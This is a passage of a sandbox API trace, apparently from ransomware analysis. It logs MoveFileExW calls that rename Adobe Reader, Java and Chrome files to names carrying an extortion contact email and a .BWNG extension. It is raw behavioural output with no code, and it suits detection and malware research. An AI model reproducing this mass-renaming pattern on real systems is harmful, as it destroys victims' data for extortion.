lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].XfnT8ryr-CG780u1e.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].xfnt8ryr-cg780u1e.bwng"), dwFlags=0x1) returned 1 [0113.448] GetTickCount () returned 0x116401d [0113.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25540016758) returned 1 [0113.448] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].29dr3dks-fHYiu3jh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].29dr3dks-fhyiu3jh.bwng"), dwFlags=0x1) returned 1 [0113.449] GetTickCount () returned 0x116401d [0113.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25540140029) returned 1 [0113.449] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].kRg6q3GB-Dg1dZqne.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\[billwong73@yahoo.com].krg6q3gb-dg1dzqne.bwng"), dwFlags=0x1) returned 1 [0113.451] GetTickCount () returned 0x116401d [0113.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25540280061) returned 1 [0113.451] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bulphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].lYvsA19F-tZBd0IVq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].lyvsa19f-tzbd0ivq.bwng"), dwFlags=0x1) returned 1 [0113.452] GetTickCount () returned 0x116401d [0113.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25540410207) returned 1 [0113.452] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\brdlang32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].5CXS1kq9-8O1Nol0l.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].5cxs1kq9-8o1nol0l.bwng"), dwFlags=0x1) returned 1 [0113.453] GetTickCount () returned 0x116401d [0113.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25540545300) returned 1 [0113.453] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].13RjLnfJ-OoBWpaMT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].13rjlnfj-oobwpamt.bwng"), dwFlags=0x1) returned 1 [0113.455] GetTickCount () returned 0x116401d [0113.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25540679999) returned 1 [0113.455] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\logging.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\logging.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].fTrIL4Hs-YqhVbANI.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].ftril4hs-yqhvbani.bwng"), dwFlags=0x1) returned 1 [0113.456] GetTickCount () returned 0x116401d [0113.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25540802361) returned 1 [0113.456] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfontj2d.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfontj2d.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].jp09ufXs-gXVuvYFH.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].jp09ufxs-gxvuvyfh.bwng"), dwFlags=0x1) returned 1 [0113.457] GetTickCount () returned 0x116401d [0113.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25540934144) returned 1 [0113.457] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\PPKLite.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ppklite.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].6iVBesn2-TcuE0Yl8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].6ivbesn2-tcue0yl8.bwng"), dwFlags=0x1) returned 1 [0113.458] GetTickCount () returned 0x116401d [0113.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25541049639) returned 1 [0113.458] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].ibEswBmf-rFWOizAK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].ibeswbmf-rfwoizak.bwng"), dwFlags=0x1) returned 1 [0113.460] GetTickCount () returned 0x116402c [0113.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25541187173) returned 1 [0113.460] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr95.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr95.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].9uW68izK-D0Ta5SRY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].9uw68izk-d0ta5sry.bwng"), dwFlags=0x1) returned 1 [0113.461] GetTickCount () returned 0x116402c [0113.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25541355073) returned 1 [0113.462] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\updater.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].iaf4cvuZ-30srJqHb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].iaf4cvuz-30srjqhb.bwng"), dwFlags=0x1) returned 1 [0113.463] GetTickCount () returned 0x116402c [0113.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25541489976) returned 1 [0113.463] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.dll.sig"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].4l3ZEYj7-AkKUTTOS.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].4l3zeyj7-akkuttos.bwng"), dwFlags=0x1) returned 1 [0113.464] GetTickCount () returned 0x116402c [0113.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25541615157) returned 1 [0113.464] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions\\external_extensions.json"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\[billwong73@yahoo.com].Z1U2tEnv-6qhOBMPs.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions\\[billwong73@yahoo.com].z1u2tenv-6qhobmps.bwng"), dwFlags=0x1) returned 1 [0113.465] GetTickCount () returned 0x116402c [0113.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25541756648) returned 1 [0113.466] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\us_export_policy.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\[billwong73@yahoo.com].VfB5gLYr-IAuJanIZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\[billwong73@yahoo.com].vfb5glyr-iaujaniz.bwng"), dwFlags=0x1) returned 1 [0113.467] GetTickCount () returned 0x116402c [0113.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25541892410) returned 1 [0113.467] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ebook.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].Rsy5wa8o-AvngGAcl.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].rsy5wa8o-avnggacl.bwng"), dwFlags=0x1) returned 1 [0113.468] GetTickCount () returned 0x116402c [0113.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25542019758) returned 1 [0113.468] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\banjul"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].vKDpn6Gl-p4L0dtBj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].vkdpn6gl-p4l0dtbj.bwng"), dwFlags=0x1) returned 1 [0113.470] GetTickCount () returned 0x116402c [0113.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25542189424) returned 1 [0113.470] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].EpWU8DeF-j0XxTX37.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].epwu8def-j0xxtx37.bwng"), dwFlags=0x1) returned 1 [0113.471] GetTickCount () returned 0x116402c [0113.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25542309835) returned 1 [0113.471] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\da.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].P9t8LmbI-qQoJHq7o.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].p9t8lmbi-qqojhq7o.bwng"), dwFlags=0x1) returned 1 [0113.472] GetTickCount () returned 0x116402c [0113.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25542442895) returned 1 [0113.472] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\dar_es_salaam"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].8W8aJDnF-At9q1Eig.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].8w8ajdnf-at9q1eig.bwng"), dwFlags=0x1) returned 1 [0113.474] GetTickCount () returned 0x116402c [0113.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25542578635) returned 1 [0113.474] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SaveAsRTF.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\saveasrtf.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].PYlSZGkm-dlploKRc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].pylszgkm-dlplokrc.bwng"), dwFlags=0x1) returned 1 [0113.475] GetTickCount () returned 0x116403c [0113.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25542770425) returned 1 [0113.476] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\khartoum"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].ytC86gLY-nsiEejrU.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].ytc86gly-nsieejru.bwng"), dwFlags=0x1) returned 1 [0113.601] GetTickCount () returned 0x11640b9 [0113.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25555338170) returned 1 [0113.602] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\AdobeCollabSync.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\adobecollabsync.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].S6Z2CGW2-R2Z0YnwD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].s6z2cgw2-r2z0ynwd.bwng"), dwFlags=0x1) returned 1 [0113.603] GetTickCount () returned 0x11640b9 [0113.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25555497591) returned 1 [0113.603] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\maputo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].DE7k4Dvo-aB9cseZ2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].de7k4dvo-ab9csez2.bwng"), dwFlags=0x1) returned 1 [0113.604] GetTickCount () returned 0x11640b9 [0113.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25555632483) returned 1 [0113.604] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Nb4U1U41-Cx5X5f6B.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].nb4u1u41-cx5x5f6b.bwng"), dwFlags=0x1) returned 1 [0113.606] GetTickCount () returned 0x11640b9 [0113.606] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25555780809) returned 1 [0113.606] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\porto-novo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].N8w9EvZ3-9cGODpnU.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].n8w9evz3-9cgodpnu.bwng"), dwFlags=0x1) returned 1 [0113.607] GetTickCount () returned 0x11640b9 [0113.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25555911157) returned 1 [0113.607] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Buenos_Aires" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\buenos_aires"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].Yh2U41hp-H8MOCc0L.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].yh2u41hp-h8mocc0l.bwng"), dwFlags=0x1) returned 1 [0113.608] GetTickCount () returned 0x11640b9 [0113.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25556036230) returned 1 [0113.608] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Tucuman" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\tucuman"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].6UwOMfwO-h15YAZj3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].6uwomfwo-h15yazj3.bwng"), dwFlags=0x1) returned 1 [0113.609] GetTickCount () returned 0x11640b9 [0113.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25556162502) returned 1 [0113.610] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].kwCeI1s2-iLcwE1XG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].kwcei1s2-ilcwe1xg.bwng"), dwFlags=0x1) returned 1 [0113.611] GetTickCount () returned 0x11640b9 [0113.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25556279902) returned 1 [0113.611] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Blanc-Sablon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\blanc-sablon"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].kKxPrgMP-GH7EuHvn.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].kkxprgmp-gh7euhvn.bwng"), dwFlags=0x1) returned 1 [0113.612] GetTickCount () returned 0x11640b9 [0113.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25556412777) returned 1 [0113.612] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Multimedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\multimedia.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].p2wAAQlh-RUSuqxij.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].p2waaqlh-rusuqxij.bwng"), dwFlags=0x1) returned 1 [0113.613] GetTickCount () returned 0x11640b9 [0113.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25556557615) returned 1 [0113.614] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\[billwong73@yahoo.com].zizgtNA0-KfQAh3mT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\[billwong73@yahoo.com].zizgtna0-kfqah3mt.bwng"), dwFlags=0x1) returned 1 [0113.615] GetTickCount () returned 0x11640b9 [0113.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25556723692) returned 1 [0113.615] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fil.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].Vxvoyoa6-NhDSi34P.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].vxvoyoa6-nhdsi34p.bwng"), dwFlags=0x1) returned 1 [0113.616] GetTickCount () returned 0x11640c8 [0113.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25556852197) returned 1 [0113.617] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].bOnBTjOR-SDmQlM8c.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].bonbtjor-sdmqlm8c.bwng"), dwFlags=0x1) returned 1 [0113.617] GetTickCount () returned 0x11640c8 [0113.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25556975279) returned 1 [0113.618] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chicago" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\chicago"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].lA8roZvG-dqynCpsu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].la8rozvg-dqyncpsu.bwng"), dwFlags=0x1) returned 1 [0113.619] GetTickCount () returned 0x11640c8 [0113.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25557098894) returned 1 [0113.619] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DigSig.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\digsig.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].Zyg3bz9c-4l0QdkC3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].zyg3bz9c-4l0qdkc3.bwng"), dwFlags=0x1) returned 1 [0113.620] GetTickCount () returned 0x11640c8 [0113.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25557230665) returned 1 [0113.620] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Detroit" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\detroit"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].GiVs4mbQ-ysGu42iu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].givs4mbq-ysgu42iu.bwng"), dwFlags=0x1) returned 1 [0113.621] GetTickCount () returned 0x11640c8 [0113.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25557357599) returned 1 [0113.622] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Grenada" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\grenada"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].KY95qhgp-BZOAhgD2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ky95qhgp-bzoahgd2.bwng"), dwFlags=0x1) returned 1 [0113.623] GetTickCount () 